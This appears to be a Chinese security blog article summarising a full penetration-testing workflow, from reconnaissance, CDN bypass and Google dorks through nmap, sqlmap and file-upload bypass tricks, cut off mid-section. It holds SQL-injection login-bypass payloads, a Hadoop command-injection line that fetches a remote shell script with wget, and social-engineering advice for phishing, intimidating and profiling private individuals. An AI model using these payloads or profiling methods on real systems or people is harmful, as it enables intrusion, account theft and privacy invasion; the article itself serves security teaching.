专栏名称: 天億网络安全
全面介绍网络安全相关知识、安全建设方案、分享网络安全行业法律法规及相关政策等内容,一个学习网络安全知识、技术、业务交流的全国性平台。
目录
相关文章推荐
湘微教育  ·  今天起,可以查分了! ·  14 小时前  
湘微教育  ·  今天起,可以查分了! ·  14 小时前  
青岛早报  ·  今起,可查成绩!山东是12:00 ·  16 小时前  
天下泉城  ·  今起,成绩可查!山东具体时间公布 ·  17 小时前  
鸡西新闻网  ·  即将出分!转存这份2025考研复试全攻略 ·  昨天  
鸡西新闻网  ·  即将出分!转存这份2025考研复试全攻略 ·  昨天  
发现新西兰  ·  突发:新西兰国会“封杀”DeepSeek!微 ... ·  3 天前  
51好读  ›  专栏  ›  天億网络安全

干货 | 渗透测试全流程归纳总结

天億网络安全  · 公众号  ·  · 2021-02-19 16:49

正文

写在开头:

知识面,决定看到的攻击面有多广。

知识链,决定发动的杀伤链有多深。


0x00 信息收集

从旁观者的角度了解整个WEB应用乃至整个目标的全貌,但是资产是收集不完的,可以边收集,边进行一定程度的测试。信息收集最小的粒度应是 目录

1.目标确认

1.1域名注册信息

通过如下步骤确认目标所有者信息:

Whois 目标域名/主机名:whois example.com

解析目标域名/主机名的IP地址:dig +short example.com

获取域名的详细解析过程:dig +trace example.com

后续用于字典制作和进一步收集目标信息的基础

获取真实IP:

浏览器切换手机模式,可能是真实ip,公众号、小程序中的资产也可能对应真实ip。

验证是否存在CDN

方法1:

使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:

http://ping.chinaz.com/

http://ping.aizhan.com/

http://ce.cloud.360.cn/

方法2:

试用nslookup进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.

nslookup example.com

方法3:

在线工具查看是否存在CDN,可以参考以下站点:

http://www.cdnplanet.com/tools/cdnfinder

http://www.ipip.net/ip.html

绕过CDN查找网站真实IP

1.查询历史DNS记录(ip的历史解析域名,域名的历史解析ip)

查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:

https://dnsdb.io/zh-cn/

https://x.threatbook.cn/

https://censys.io/ipv4?q=baidu.com

非常牛逼的IP记录站,还能分析内链之类找出可能的IP地址,此外还会记录历史。

viewdns.info

同样是个令站长十分蛋疼的DNS历史记录网站,记录了几年内的更改记录。

securitytrails.com

https://site.ip138.com/

庞大的DNS历史数据库,可以查出几年内网站用过的IP、机房信息等。

iphostinfo.com

注意:这个网站可以遍历FTP、MX记录和常见二级域名,有些站长喜欢把邮箱服务也放在自己主机上,侧面泄露了真实的IP地址,通过这个网站可以进行检查。

2.查询子域名(捷径,去众测平台、github找官方发布过的)

注意:有可能有些站长只给主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服务器上,或者 C段中,这样可以通过子域名来辅助找到网站真实IP

爆破子域名:

主动式

layer子域名挖掘机(字典要自己丰富)http://z.zcjun.com/(在线子域名挖掘)fuzzdomain 很好用,速度快

被动式

搜索引擎拿子域名、旁站(同IP网站)、C段:




    
可用搜索引擎语法查询子域名:谷歌、百度、bing、搜狗(搜索微信文章)、雅虎等略有差异

详细用法:

(1)site: =主域名,搜索其主要域名下面的子域名(2)allintext: = 搜索文本,但不包括网页标题和链接(3)allinlinks: = 搜索链接, 不包括文本和标题。(4)related:URL = 列出于目标URL地址有关的网页。(5)link:URL = 列出到链接到目标URL的网页清单。(6)使用“-”去掉不想看的结果,例如site:baidu.com -image.baidu.com

百度语法:

https://www.cnblogs.com/k0xx/p/12794452.html

谷歌语法:

https://blog.csdn.net/u012991692/article/details/82937100?biz_id=102&utm_term=Googlehack&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-82937100&spm=1018.2118.3001.4187

GHDB:

https://www.exploit-db.com/google-hacking-database

3.资产搜索(旁站\C段\特征):

https://www.shodan.io(资产相关或特征值关键字爆ip)https://fofa.sohttps://www.zoomeye.org/http://www.yunsee.cn/info.html (云悉在线资产平台)http://subdomain.chaxun.la (查询啦)https://www.virustotal.com/gui/home/searchhttps://dnsdumpster.com/https://duckduckgo.com (一个不会存储你个人信息的搜索引擎)https://crt.sh/(SSL证书查询)https://icp.aizhan.com/(域名备案)

4.对方服务器给自己发邮件暴露IP

5.APP客户端爆ip

1.2DNS信息查询

目的:

注册者名称及邮箱,再反查其他域名

手机号 座机号

ASN号

地址在线DNS信息查询工具

https://dnsdumpster.com/https://www.dnsdb.io (DNS搜索引擎)http://searchdns.netcraft.comhttp://whois.nawang.cn/https://whois.aliyun.com/https://whois.west.cn/http://whois.chinaz.com/ (站长之家)https://www.tianyancha.com/ (天眼查)http://www.gsxt.gov.cn/index.html (国家企业信用信息系统)www.beianbeian.com/ (ICP备案查询)

1.3测试域传送漏洞

域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。

dnsrecon -d example.com

dnsenum example.com 包含自动检测域传送漏洞

1.4业务相关

github泄露:

in:name test #仓库标题搜索含有关键字 SpringCloudin:descripton test #仓库描述搜索含有关键字in:readme test #Readme文件搜素含有关键字stars:>3000 test #stars数量大于3000的搜索关键字stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字forks:>1000 test #forks数量大于1000的搜索关键字forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字pushed:>2019-02-12 test #发布时间大于 2019-02-12的搜索关键字created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字user:test #用户名搜素license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字language:java test #在java语言的代码中搜索关键字user:test in:name test #组合搜索,用户名test的标题含有test的     

网盘泄露:

各种云网盘,详见虫部落搜索:

magnet.chongbuluo.com

敏感路径扫描:

https://github.com/ring04h/weakfilescan

2.OSINT 公开情报收集

2.1社工技巧

查看注册的网站 :reg007

知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息

可以从这些方面判断用户是否注册过

找回密码

输入账号,如果进入下一步了则该账号存在

登录

输入账号和密码,如果提示密码错误,则表示该用户已存在

注册

填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册

知道QQ

通过QQ邮箱和QQ号搜索支付宝、淘宝账号等其他可能的常用平台

去腾讯\新浪微博搜索

通过微信搜索

查看QQ空间\相册\地区\星座\生日\昵称(后续构建字典以及跨平台搜集)

通过说说、留言、日志找到其好友

加QQ钓鱼\共同好友\可能认识的人

知道手机号

搜索QQ、微信、钉钉等社交账号

在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号

查询支付宝、QQ交易账号,尝试输入常见姓氏获取名字(转账到该手机号,会提示输入姓氏验证)

通过对方的职业、兴趣找到该领域知名度较高的社交网站反查

根据在QQ空间、朋友圈等动态用百度识图识别照片

在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选

留意社交动态

发布时间线

使用什么客户端 iPhone Android还是浏览器

针对客户端预先制定exploit

注意每一条链接 / 图片 / 视频链接可能包含用户ID

图片可能包含水印,exif可能会有GPS定位和手机类型,图片内容特征

视频也有可能有水印暴露社交账号ID,拍摄地点

从最早发布的动态看起,会有很大收获

一般得到一个账号的密码就相当于得到了其他账号的密码

一般人不同账号的用户名都是相同或相近的

一般人的社交账号头像用的都是一样的

尝试破解社保、公积金账号、身份证号(出生地、生日、星座、派出所代码)

虫部落快搜之文件搜索: https://search.chongbuluo.com/

qq群、群文件、贴吧论坛、目标自用论坛等社交平台

钓鱼 信息泄露 (爬邮箱等信息)

电子邮件伪造、网络钓鱼

下载恶意程序

输入敏感信息

大部分信息可以用来生成密码字典

对人:说服对方达成一致、恐吓对方(敏感词、漏洞、病毒、权威机构名称、),钓鱼获取信息

2.2搜索引擎OSINT

Google Hacking (baidu\bing\souhu\github)

GoogleHacking常用语法

1、intext:(仅针对Google有效) 把网页中的正文内容中的某个字符作为搜索的条件2、intitle:把网页标题中的某个字符作为搜索的条件3、cache:搜索搜索引擎里关于某些内容的缓存,可能会在过期内容中发现有价值的信息4、filetype/ext:指定一个格式类型的文件作为搜索对象5、inurl:搜索包含指定字符的URL6、site:在指定的(域名)站点搜索相关内容  

GoogleHacking其他语法

1、引号 ” ” 把关键字打上引号后,把引号部分作为整体来搜索2、or 同时搜索两个或更多的关键字3、link 搜索某个网站的链接 link:baidu.com即返回所有和baidu做了链接的URL4、info 查找指定站点的一些基本信息  

GoogleHackingDatabase:

google-hacking-databaseGoogleHacking典型用法(特定资产的万能密码也要积累)

管理后台地址

site:target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | systemsite:target.com inurl:login | inurl:admin | inurl:manage | inurl:manager | inurl:admin_login | inurl:system | inurl:backendsite:target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录

上传类漏洞地址

site:target.com inurl:filesite:target.com inurl:upload

注入页面

site:target.com inurl:php?id=(批量注入工具、结合搜索引擎)

编辑器页面

site:target.com inurl:ewebeditor

目录遍历漏洞

site:target.com intitle:index.of

SQL错误

site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:”Warning: pg_connect()"

phpinfo()

site:target.com ext:php intitle:phpinfo "published by the PHP Group"

配置文件泄露

site:target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini

数据库文件泄露

site:target.com ext:.sql | .dbf | .mdb | .db    日志文件泄露site:target.com ext:.log

备份和历史文件泄露

site:target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar

公开文件泄露

site:target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv

邮箱信息

site:target.com intext:@target.comsite:target.com 邮件site:target.com email

社工信息

site:target.com intitle:账号 | 密码 | 工号 | 学号 | 身份证

2.3浏览器实用插件:

Wappalyzer:识别网站使用的中间件及其版本,再去漏洞库和搜索引擎找公开披露的漏洞

SwitchOmega:快捷切换代理

shodan:识别开放端口,主机服务等(被动信息搜集)

hacktools:综合插件,很强大

firefox渗透便携版version48,工具集成很多

注意:根据获得服务、中间件信息、编辑器版本、数据库等OSINT去各大漏洞库、搜索引擎找漏洞利用

2.4乌云和cnvd

乌云库\乌云镜像\GHDB\CNVD等公开漏洞库

0x01 主动探测

从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要...

1.主动扫描

1.1常见服务漏洞

nmap的功能:

脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF

nmap脚本主要分为以下几类,在扫描时可根据需要设置

--script=类别这种方式进行比较笼统的扫描:--auth: 负责处理鉴权证书(绕开鉴权)的脚本--broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务--brute: 提供暴力破解方式,针对常见的应用如http/snmp等--default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力--discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等--dos: 用于进行拒绝服务攻击--exploit: 利用已知的漏洞入侵系统--external: 利用第三方的数据库或资源,例如进行whois解析--fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞--intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽--malware: 探测目标机是否感染了病毒、开启了后门等信息--safe: 此类与intrusive相反,属于安全性脚本--version: 负责增强服务与版本扫描(Version Detection)功能的脚本--vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
nmap --script=auth 192.168.137.*负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令nmap --script=brute 192.168.137.*提供暴力破解的方式  可对数据库,smb,snmp等进行简单密码的暴力猜解nmap --script=default192.168.




    
137.* 或者 nmap -sC 192.168.137.*默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击nmap --script=vuln 192.168.137.*检查是否存在常见漏洞nmap -n -p445 --script=broadcast 192.168.137.4在局域网内探查更多服务开启状况nmap --script external 202.103.243.110利用第三方的数据库或资源,例如进行whois解析nmap --script banner ipnmap -p port -sV ip获取软件版本信息nmap -O ip操作系统信息,版本nmap -A -v ip完整信息获取-sN;-sF;-sX 隐蔽扫描  -sN是Null扫描,是通过发送非常规的TCP通信数据包进行探测  nmap -sN 127.0.0.1  -sF是FIN扫描,当我们使用TCP SYN扫描时可能会被目标主机的防火墙发现,会阻止SYN数据包  ,这时我们使用TCP FIN扫描方式会有很好的穿透效果.  nmap -sF 127.0.0.1扫描前1000号TCP端口nmap 192.168.100.2Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)nmap –sP 192.168.100.0-7扫描80,443端口nmap -p 80,443192.168.100.2扫描前1000号TCP端口,OS指纹,服务,然后运行一个NSE脚本sudo nmap -A 192.168.100.2扫描全部65535个TCP端口,OS指纹,服务,然后运行一个NSE脚本sudo nmap –A –p- 192.168.100.2扫描前1000号UDP端口sudo nmap -sU 192.168.100.2扫描所有65535个UDP端口sudo nmap -sU –p- 192.168.100.2扫描所有65535个UDP端口,并获取服务、OS指纹,之后运行一些NSE脚本sudo nmap –sU -p- -A 192.168.100.2

nmap脑图备查 :

### 1.2常见端口漏洞利用  快速扫描:  Masscan-p80,800 ip --rate=1000021/ FTP  匿名/暴力破解  拒绝服务22/ SSH  暴力破解23/ telnet  Winbox(CVE-2018-14847)  https://github.com/BasuCert/WinboxPoC  弱口令 / 暴力破解161/ snmp  弱口令  https://blog.csdn.net/archersaber39/article/details/78932252389/ ladp  匿名访问  https://www.cnblogs.com/persuit/p/5706432.html  ladp注入  http://www.4hou.com/technology/9090.html  https://www.freebuf.com/articles/web/149059.html443/ ssl  openssl心脏出血  https://paper.seebug.org/437/  http://www.anquan.us/static/drops/papers-1381.html  https://www.freebuf.com/sectool/33191.html445/ smb  win10拒绝服务  永恒之蓝RCE875/ rsync  匿名访问  http://www.anquan.us/static/bugs/wooyun-2016-0190815.html  https://paper.seebug.org/409/  http://www.91ri.org/11093.html1433/ mssql  暴力破解  http://www.anquan.us/static/drops/tips-12749.  html  https://www.seebug.org/appdir/Microsoft%20SQL%20Server1521/ oracle  暴力破解  https://www.exploit-db.com/exploits/330842601/ zebra  http://www.anquan.us/static/bugs/wooyun-2013-047409.html3128/ squid3306/ mysql  RCE  http://www.91ri.org/17511.html  CVE-2015-0411  hash破解  https://www.freebuf.com/column/153561.html  waf绕过




    
  https://www.freebuf.com/articles/web/155570.html  general_log_file getshell  https://www.freebuf.com/column/143125.html  提权  http://www.91ri.org/16540.html3312/ kangle  getshell  https://www.secpulse.com/archives/23927.html3389/ rdp  shift 放大镜 输入法绕过 guest用户  永恒之蓝(ESTEEMAUDIT)  https://www.freebuf.com/articles/system/132171.html  https://www.anquanke.com/post/id/86328  ms12-020  https://blog.csdn.net/meyo_leo/article/details/779505524440/ rundeck  https://www.secpulse.com/archives/29500.html4848/ glassfish  文件读取  https://www.secpulse.com/archives/42277.html  https://www.anquanke.com/post/id/85948  GlassFish2/ admin:admin GlassFish3,4/ 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误5432/ PostgreSQL  RCE  https://www.cnblogs.com/KevinGeorge/p/8521496.html  https://www.secpulse.com/archives/69153.html  默认账号postgres  参考  http://www.91ri.org/13070.html  http://www.91ri.org/6507.html5672,15672,4369,25672/ RabbitMQ  (guest/guest)5900/ VNC  https://www.seebug.org/appdir/RealVNC5984/ CouchDB  http://xxx:5984/_utils/6082/ varnish  CLI 未授权  https://www.secpulse.com/archives/10681.html6379/ redis  Redis未授权   ssh publickey   crontab   webshell   反序列化   开机自启文件夹写bat   参考   https://www.freebuf.com/column/170710.html7001,7002/ WebLogic  默认弱口令  weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic  反序列




    
  CVE-2018-2628  https://www.freebuf.com/articles/web/169770.html  https://www.seebug.org/appdir/WebLogic9200,9300/ elasticsearch  CVE-2015-1427  http://www.anquan.us/static/drops/papers-5142.html  CVE-2018-17246  https://www.seebug.org/vuldb/ssvid-97730  参考  https://www.seebug.org/search/?keywords=elasticsearch9000/ fcgi  https://paper.seebug.org/289/9043/ WebSphere  Websphere8.5  https://localhost:9043/ibm/console/logon.jsp  Websphere6-7  http://localhost:9043/ibm/console  后台未授权,登录后可部署WAR包  SOAP服务有反序列化  弱口令:admin / password11211/ memcache  未授权  UDP反射  https://shockerli.net/post/memcached-udp-reflection-attack-bug/27017,27018/ Mongodb  未授权  注入  https://www.anquanke.com/post/id/83763  phpMoAdmin RCE  https://www.aqniu.com/threat-alert/6978.html50000/ SAP   SAP命令执行  https://www.secpulse.com/archives/20204.html50070,50030/ hadoop  未授权  https://www.freebuf.com/vuls/173638.html  命令执行  host:50060/pstack?pid=123|wget http://somehost/shell.sh  https://www.seebug.org/search/?keywords=hadoop  其他  http://www.91ri.org/15441.html'''

1.3WAF及bypass

探测WAF

Nmap探测WAF有两种脚本,

一种是http-waf-detect,一种是http-waf-fingerprint。

nmap -p port --script=http-waf-detect ip
wafw00f -a example.com




    
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf

bypass: 手工注入,详见笔记

1.4目录、后台和敏感路径文件扫描

御剑目录(土司专版,笔记里有)、后台扫描(图片属性地址暴露),

完善目录和账密字典方法:

基础字典包合并去重

  dymerge.py -u
  python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt
  python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt

2.人工浏览\逐个请求burp

非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。

图片后台地址\图片后面的信息

跳转参数\奇怪的参数

泄露邮箱等社工信息

业务逻辑\架构

3.自动化

自动化渗透测试框架:(待补充)

Sn1per

Ary

自动化信息收集效率较高,从github上多找一找,也可以自己写

0x02 漏洞挖掘

1.漏洞扫描工具

注意:登录类网站扫描要带cookies扫才能扫到

1.1Nikto Web服务漏洞扫描器

Tips:利用-Format选项来导出特定格式的扫描结果,使扫描结果更容易阅读和分析。

nikto -host http://example.com -output ~/nikto.html -Format html
NIKTO使用方法:1、命令:nikto -update #升级,更新插件;2Nikto-list-plugins #查看插件;3Nikto-host http://1.1.1.1 #扫描目标:域名方式;4Nikto-host http://1.1.1.1 -output #扫描并输出结果5Nikto-host 1.1.1.1-port 80#扫描目标:ip地址加端口号6Nikto-host www.baidu.com -port 443-ssl #扫描https网站7Nikto-host 文件名.txt #批量扫描目标8、nmap -p80 192.168.1.0/24-oG - | nikto -host -      #利用nmap扫描开放80端口的IP段并且oG(nmap结果输出并整理)通过管道的方式“|”用nikto进行扫描9、nikto -host 192.168.0.1-useproxy http://localhost:8070      




    
#利用代理进行扫描10、-vhost     #当一个网站存在多个端口时可以使用-vhost遍历所有网站进行扫描或一个ip对应多个网站11Nikto交互形参数配置文件:路径:/etc/nikto.confUserAgent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本;在nikto中最好修改成别的浏览器user agent;设置cookie:在配置文件中找到cookie进行设置(#STATIC-COOKIE= "cookie1"="cookie value";"cookie2"="cookie val"IDS逃避技术:主要为了躲避IDS、IPS检测告警-evasion #此参数使用方式(Nikto -host http://1.1.1.1 -evasion 1234)逃避方式共8种:1、随机url编码,2、自选路径,3、过早结束的URL4、优先考虑长随机字符串5、参数欺骗6、使用TAB作为命令的分隔符,7、使用变化的URL8、使用Windows路径分隔符

1.2AWVS漏扫

这个没什么好说的,破解版到处都是。

1.3NESSUS

实时更新插件的漏扫,很好用,就是激活流程麻烦。

https://www.wuyini.cn/765.html

1.4Xray自动化的漏洞挖掘

burp+xray:

BurpSuite + Xray 被动扫描配置 - Ritte - 博客园

或者直接挂浏览器,点到哪里,扫到哪里

xray+各种漏扫联动

1.5Fuzz

Fuzz可以发现应用程序中没有被引用但是确实是可以访问的页面。

Discover Content是Burp中专门用于此目的的工具。

Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改),爆破、注入等。

FuzzDB包含一些用于此目的的非常牛逼的字典。

2.挖掘漏洞

2.1SQL注入:

初步测试:见框就上,加' " ) ))% and 1=1 and 1=2 and2-1 or ,

抓包爆破常用SQL注入payload字典,上burp intruder

纯手工注入和手工绕过waf,详见笔记。

通过搜索引擎,批量查找注入点,详见笔记。

然后用傀儡注入点批量搜集工具

实操案例: sql注入思路(登录界面)和网络常用端口_u011975363的专栏-CSDN博客

超级SQL注入工具(github)

sqlmap一把梭:注意:命令为kali linux中运行的 (windows中用python sqlmap.py执行)注入六连:1.sqlmap-u  "http://www.xx.com?id=x"查询是否存在注入点




    
2.--dbs         检测站点包含哪些数据库3.--current-db    获取当前的数据库名4.--tables -D "db_name"获取指定数据库中的表名 -D后接指定的数据库名称5.--columns  -T "table_name"-D "db_name"获取数据库表中的字段6.--dump-C "columns_name"-T "table_name"-D "db_name"获取字段的数据内容COOKIE注入:sqlmap -u "http://www.xx.com/xxx.asp"--cookie "id=XXX   cookie"--level 2cookie注入 后接cookie值POST注入:1)目标地址http:// www.xxx.com /login.asp2)打开burp代理3)点击表单提交4)burp获取拦截信息(post)5)右键保存文件(.txt)到指定目录下6)运行sqlmap并执行如下命令:用例:sqlmap -r okay.txt  -p  username// -r表示加载文件(及步骤(5)保存的路径)-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)7)自动获取表单:--forms自动获取表单例如:sqlmap -u www.xx.com/login.asp --forms8)指定参数搜索:--data例如:sqlmap -u www.xx.com/login.asp --data "username=1"常用指令:1.--purge      【重新扫描(--purge 删除原先对该目标扫描的记录)2.--tables      【获取表名3.--dbs         【检测站点包含哪些数据库4.--current-db    【获取当前的数据库名5.--current-user  【检测当前用户6.--is-dba   【判断站点的当前用户是否为数据库管理员7.--batch      【默认确认,不询问你是否输入8.--search  【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)9.--threads 10【线程,sqlmap线程最高设置为1010.--level 3【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为511.--risk 3【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全12.-v   【详细的等级(0-6)0:只显示Python的回溯,错误和关键消息。1:显示信息和警告消息。2:显示调试消息。3:有效载荷注入。4:显示HTTP请求。5:显示HTTP响应头。6:显示HTTP响应页面的内容13.--privileges  【查看权限14.




    
--tamper xx.py,cc.py   【防火墙绕过,后接tamper库中的py文件15.--method "POST"--data "page=1&id=2"【POST方式提交数据16.--threads number  【采用多线程 后接线程数17.--referer  ""【使用referer欺骗18.--user-agent ""【自定义user-agent19.--proxy “目标地址″   【使用代理注入sqlmap常用路径:1.添加表字段的目录在/usr/share/sqlmap/txt/common-tables.txt2.存放扫描记录的目录在/root/.sqlmap/output高阶玩法:自己写tamper.py

2.2XSS:

xss漏洞原理分析与挖掘方法 - 知乎

https://zhuanlan.zhihu.com/p/35315167

web漏洞 | XSS(跨站攻击脚本)详解

https://www.cnblogs.com/wuqun/p/12484816.html

XSS汇总

http://www.nxadmin.com/penetration/810.html

XSS小结 - 先知社区

https://xz.aliyun.com/t/2936

2020跨站点脚本[xss]速查表|雨苁

https://www.yuque.com/xiaogege-yxttw/btpqqg/lwzwei

XSSer自动化工具

https://www.freebuf.com/sectool/173228.html

XSStrike 自动化绕过WAF

https://www.uedbox.com/post/56316/

客服对话系统上XSS打cookie


2.3文件上传

字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder

文件上传绕过总结,详见笔记

目录穿越

上传后如果没有被文件重命名,可以在文件名值做目录跳转

注意一些像目录的参数名

dir path location url

文件头绕过

修改上传类型 Content-Type

双文件上传

截断

长文件名长Content-Disposition%00截断

特殊文件

svg / html / htm / swfxsspdfchrome 里可以跳转cer / asa / spx / php5 / phtml

可能会被当做动态语言解析

.htaccess / .user.ini / web.config / web.xml

修改解析规则

.xls / .xlsx

POI Excel XXE

.tar / .tar.gz / .zip

可能存在文件释放目录跳转问题

.pkl




    

python反序列化文件

.xml

可能有 XXE

.yaml / .yml

YAML 反序列化

.jar / .class

上传到 java classpath 的目录下,类被加载时执行代码

无大小和次数限制

无限上传制造垃圾数据堵死硬盘

有图片加工的地方可以注意一下imagemagick命令执行

文件读取

读取系统敏感文件

文件包含

可读取文件或代码执行

文件删除

删除配置文件可破坏网站删除安装锁可重装

文件解压

如果上传文件为 tar / tar.gz 类型,可以尝试构压缩包内文件名为../../../../xxx 的tar包

文件导出

如果是CSV 或者 Excel可以注意一下CSV注入 =2222-1 -1+1=2222-1 @=2222-1 \r\n=2222-1 111,=2222-1,

2.4命令执行

命令注入

--xxxx 参数注入| 和 | | 与符号& 和 && 与符号; 分号${}

代码执行

表达式freemarkerOGNLSpeljsel

非表达式(php)

evalassertcall_user_func() / call_user_func_array()preg_replace()create_function()array_map()array_filter()usort() / uasort()

反序列化

php 源文件拼接写java反序列化远程 jar 加载反射机制jsp 源文件拼接写入

2.5弱口令及字典破解

后台弱口令爆破撞库

(尝试万能密码、特定资产常用密码、弱口令后再撞库、有的数据库要输对用户名再注释

我的github有收集的字典 https://github.com/hackerX2021

asp aspx万能密码1"or "a"="a2')or('a'='a3or1=1--4'or 1=1--5:a'or'1=1--6"or 1=1--7'or'a'='a8"or"="a'='a9'or''='10'or'='or'11: 1or'1'='1'=112: 1or'1'='1'or1=113: 'OR 1=1%0014: "or 1=1%0015: 'xor16: 新型万能登陆密码用户名 ' UNION Select 1,1,1 FROM admin Where ''='(替换表名admin)密码 1Username=-1%cf' union select 1,1,1 as password,1,1,1 %23Password=117..admin' or 'a'='a 密码随便PHP万能密码'or'='or''or 1=1/* 字符型 GPC是否开都可以使用User: somethingPass: ' OR '1'='1jsp 万能密码1'or'1'='1  admin' OR 1=1/*用户名:admin 系统存在这个用户的时候 才用得上密码:1






请到「今天看啥」查看全文